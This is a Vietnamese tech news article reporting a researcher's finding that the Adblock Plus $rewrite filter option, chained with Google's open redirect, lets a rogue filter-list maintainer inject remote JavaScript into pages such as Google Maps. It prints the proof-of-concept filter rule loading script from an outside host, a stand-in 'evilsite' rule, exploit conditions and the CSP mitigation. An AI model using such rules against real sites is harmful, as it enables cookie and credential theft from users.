Bộ lọc Adblock Plus phát hiện và ngăn chặn mã độc hại

Ngọc Phượng, Trương Khánh Hợp, Lâm Thị Nguyệt| 20/04/2019 12:22
Theo dõi ICTVietnam trên

Một số nghiên cứu mới đây đã phát hiện được danh sách bộ lọc chặn quảng cáo trong các công cụ mở rộng trình duyệt như Adblock Plus, AdBlock và uBlocker, có khả năng tạo ra các “lớp” lọc có thể đưa tập lệnh độc hại vào các trang web từ xa.

Adblocker Plus Header

Đáng nói là những công cụ chặn quảng cáo này hiện đang sở hữu số lượng người dùng lên đến hơn 10 triệu trên toàn thế giới. Do đó, nếu các tập lệnh độc hại lây nhiễm vào hệ thống thông qua cách này, tác hại gây ra sẽ rất lớn bởi chúng có thể thực hiện các hoạt động không mong muốn như ăn cắp cookie, thông tin đăng nhập, gây chuyển hướng trang hoặc nhiều hành vi xâm phạm dữ liệu và quyền riêng tư khác.

Tùy chọn bộ lọc $rewrite

Để hiểu rõ vấn đề, trước tiên chúng ta cần phải nói qua một chút về cách thức hoạt động của trình chặn quảng cáo. Các phần mềm này thường hoạt động dựa trên danh sách những URL có liên quan đến quảng cáo và hành vi độc hại, thường được duy trì bởi một nhóm nhỏ hoặc thậm chí chỉ một người. Khi các danh sách này được tải bởi tiện ích mở rộng chặn quảng cáo, như Adblock Plus chẳng hạn, tiện ích mở rộng đó sẽ có nhiệm vụ ngăn trình duyệt kết nối với các URL được liệt kê và do đó, những nội dung quảng cáo hoặc tập lệnh độc hại sẽ không thể xuất hiện như bình thường trên trang web mà bạn truy cập.

Ví dụ: Bên dưới là danh sách bộ lọc chặn quảng cáo phổ biến có tên EasyList

EasyList Ad Blocking Filter List

Khi Adblocker Plus 3.2 được phát hành vào năm 2018, đã có một tùy chọn danh sách bộ lọc mới được nhà phát triển tung ra, đó là $rewrite. Điểm mới của $rewrite nằm ở chỗ nó có thể cho phép thay thế một yêu cầu web khớp với biểu thức chính quy cụ thể bằng một URL khác.

Điểm cần lưu ý duy nhất ở đây là việc chuỗi thay thế phải là một URL tương đối (relative URL), có nghĩa là chuỗi này không có chứa tên máy chủ và khi được viết lại phải ở cùng một miền gốc với yêu cầu ban đầu.

Ví dụ: quy tắc bộ lọc sau đây sẽ khiến tất cả các yêu cầu cho example.com/ad.gif được thay thế bằng example.com/puppies.gif. Vì vậy, thay vì quảng cáo được hiển thị trên một trang, bạn sẽ thấy hình ảnh dễ thương của những chú chó con.

||example.com/ad.gif$rewrite=/puppies.gif

Mặt khác, vì URL được viết lại phải có cùng nguồn gốc với URL gốc và phải là một URL tương đối, quy tắc viết lại $ sau đây sẽ không hoạt động.

||example.com/ads.js$rewrite=https://evilsite.tk/bwahaha.js


Quy tắc $rewrite dưới đây sẽ không hoạt động đối với các yêu cầu thuộc loại SCRIPT, SUBDOCUMENT, OBOG và OBJECT_SUBREQUEST. Có thể thấy rằng nếu một tập lệnh độc hại muốn ở trên cùng một trang, chúng phải được viết lại thành một URL tương đối và không thể được tải thông qua thẻ tập lệnh, vậy thì làm thế nào một người duy trì danh sách (list maintainer) có thể phát hiện tập lệnh độc hại đó?

Phát hiện $rewrite bằng cách xâu chuỗi với các yêu cầu chuyển hướng dịch vụ web

Theo phân tích của nhà nghiên cứu bảo mật Armin Sebastian thì trong một số điều kiện nhất định, người duy trì bộ lọc chặn quảng cáo giả mạo hoàn toàn có thể tạo ra một quy tắc đưa tập lệnh từ xa vào một trang web cụ thể.

Để làm được điều này, đầu tiên bạn sẽ cần tìm một trang web cho phép các tập lệnh tải từ bất kỳ tên miền nào, đồng thời chứa một chuyển hướng mở và sử dụng XMLHttpRequest hoặc Fetch để tải xuống các tập lệnh sẽ được thực thi. Trang web dạng này trên thực tế không quá khó tìm, Sebastian đã sử dụng Google Maps cho Proof of Concept của mình.

Các tiêu chí sau phải được đáp ứng để dịch vụ web có thể khai thác được bằng phương pháp này:

  1. Trang web phải  load được một chuỗi JS bằng cách sử dụng XMLHttpRequest hoặc Fetch và thực thi mã trả về.
  2. Trang web không hạn chế về nguồn gốc tìm nạp bằng cách sử dụng các chỉ thị Content Security Policy, hoặc không được tự động xác thực yêu cầu URL cuối cùng trước khi thực thi mã đã tải xuống.
  3. Nguồn gốc của mã được tìm nạp phải sở hữu chuyển hướng mở phía máy chủ, hoặc mã phải lưu trữ nội dung người dùng tùy chọn.

Để giải quyết vấn đề đó là việc sử dụng XMLHttpRequest hoặc Fetch tải xuống các tập lệnh và chuyển hướng mở.

Điều này là do khi sử dụng tùy chọn $rewrite, những yêu cầu sử dụng XMLHttpRequest hoặc Fetch để tải xuống các tập lệnh thực thi từ xa sẽ được đảm bảo khả năng thành công rất cao. Hơn nữa, chuyển hướng mở cũng đóng vai trò quan trọng không kém vì nó cho phép đọc tập lệnh của XMLHttpRequest từ một trang web từ xa, trong khi vẫn xuất hiện từ cùng một nguồn gốc.

Ví dụ: Nhà nghiên cứu Sebastian đã dùng Google Maps bởi công cụ này sử dụng XMLHttpRequest để tải tập lệnh, và đồng thời bởi google.com có sở hữu chuyển hướng mở như một phần của trang kết quả tìm kiếm. Điều này cho phép ông tiến hành xâu chuỗi với nhau bằng cách sử dụng tùy chọn bộ lọc $rewrite cùng với chuyển hướng mở để đọc một tập lệnh từ xa như dưới đây.

/^https://www.google.com/maps/_/js/k=.*/m=pw/.*/rs=.*/$rewrite=/search?hl=en-US&source=hp&biw=&bih=&q=majestic-ramsons.herokuapp.com&btnI=I'm Feeling Lucky&gbv=1

Với quy tắc trên, khi bạn truy cập www.google.com.vn/maps/, quy tắc bộ lọc sẽ sử dụng chuyển hướng mở của Google để đọc nội dung từ https://majests-ramsons.herokuapp.com/.

Remote Script

Vì URL chuyển hướng mở có cùng nguồn gốc hoặc tên miền, do đó các chuỗi sẽ được phép đọc và thực thi dưới dạng JavaScript, điều này sẽ khiến cảnh báo được hiển thị như được thấy ở hình minh họa bên dưới.

Remote script showing an alert

Armin Sebastian đã báo cáo vấn đề này với Google, nhưng lập trường của công ty Mountain View luôn cho rằng chuyển hướng mở là "Intended Behavior" (hành vi có chủ đích).

Để giảm thiểu hành vi theo chuỗi liên kết này, Sebastian khuyên các trang web nên sử dụng Content Security Policy và tùy chọn connect-src để chỉ định danh sách trắng các trang web có thể tải tập lệnh.

Nổi bật Tạp chí Thông tin & Truyền thông
Đừng bỏ lỡ
  • UNDP khuyến nghị các quốc gia khai thác AI nâng Chỉ số Phát triển con người
    Với chính sách phù hợp và sự tập trung vào con người, trí tuệ nhân tạo có thể trở thành cầu nối đến với tri thức, kỹ năng và ý tưởng mới, giúp trao quyền cho mọi người, từ người nông dân đến các chủ doanh nghiệp nhỏ.
  • Những phát minh sáng tạo của Phần Lan làm thay đổi thế giới
    Phần Lan có thể là một quốc gia nhỏ về mặt dân số nhưng những đóng góp của Phần Lan cho sự đổi mới toàn cầu thì không hề khiêm tốn.
  • Chương mới trong quan hệ hợp tác Việt Nam và Kazakhstan về phát triển KHCN, ĐMST và CĐS
    Ngày 6/5/2025, trong khuôn khổ chuyến thăm cấp Nhà nước của Tổng Bí thư Tô Lâm tới Kazakhstan, Bộ trưởng Bộ Khoa học và Công nghệ Việt Nam Nguyễn Mạnh Hùng và Bộ trưởng Bộ Phát triển số, Đổi mới sáng tạo và Công nghiệp vũ trụ Kazakhstan Madiyev Zhaslan đã ký Bản ghi nhớ về hợp tác trong các lĩnh vực công nghệ, đổi mới sáng tạo và chuyển đổi số.
  • Các giải pháp kỹ thuật phần mềm xanh
    Khi các hệ thống máy tính trở nên phổ biến, nhu cầu về các tài nguyên máy tính đòi hỏi năng lượng điện để chạy ngày càng tăng và góp phần đáng kể vào lượng khí thải carbon. Những lượng khí thải này liên quan đến việc sử dụng, phát triển và triển khai phần mềm trên các hệ thống máy tính. Kỹ thuật phần mềm xanh là con đường phía trước để hạn chế lượng khí thải nhà kính không kiểm soát được của ngành công nghệ.
  • Cách tìm hiểu nhà cung cấp AI có rủi ro bảo mật hay không
    Nếu nhà cung cấp AI thiếu các biện pháp kiểm soát bảo mật cơ bản sẽ gây ra rủi ro.
  • Ra mắt Liên minh nhân lực chiến lược thực thi Nghị quyết 57-NQ/TW ‏
    Ông Trương Gia Bình, Chủ tịch FPT khẳng định, nếu không đào tạo được nhân lực AI, chúng ta sẽ đứng ngoài cuộc chơi công nghệ. Còn nếu dẫn đầu trong đào tạo AI, Việt Nam sẽ vươn lên trở thành lực lượng lao động toàn cầu trong lĩnh vực này.
  • Tima kỳ vọng sẽ bứt phá thị trường P2P sau Nghị định 94
    Sau 10 năm hoạt động, Tima đã kết nối 17 triệu hồ sơ, phục vụ 10 triệu người vay và 70.000 nhà đầu tư trên toàn hệ thống, trở thành nền tảng P2P Lending có quy mô và độ phủ lớn tại Việt Nam.
  • ScienceOne - Bước đột phá mới của AI
    Ngày 6/5/2025, Viện Tự động hóa thuộc Viện hàn lâm Khoa học Trung Quốc (CAS) đã chính thức công bố nền tảng nghiên cứu tích hợp trí tuệ nhân tạo (AI) mang tên ScienceOne, đánh dấu bước đột phá trong nỗ lực cách mạng hóa phương pháp nghiên cứu truyền thống thông qua tự động hóa AI.
  • Hơn 2.800 trang web phát tán mã độc nhắm vào người dùng macOS
    Một chiến dịch phát tán mã độc quy mô lớn đang nhắm mục tiêu vào người dùng hệ điều hành macOS thông qua hơn 2.800 trang web đã bị xâm nhập. Chiến dịch này sử dụng Atomic Stealer (AMOS) - một loại phần mềm độc hại tinh vi được thiết kế để đánh cắp dữ liệu nhạy cảm từ máy tính Apple.
  • Taxi robot Trung Quốc "bắt tay" Uber cung cấp dịch vụ tại Trung Đông
    Theo tuyên bố, quan hệ đối tác sẽ giúp cả hai bên khám phá các thị trường mới tại Trung Đông và các thị trường quốc tế khác.
Bộ lọc Adblock Plus phát hiện và ngăn chặn mã độc hại
POWERED BY ONECMS - A PRODUCT OF NEKO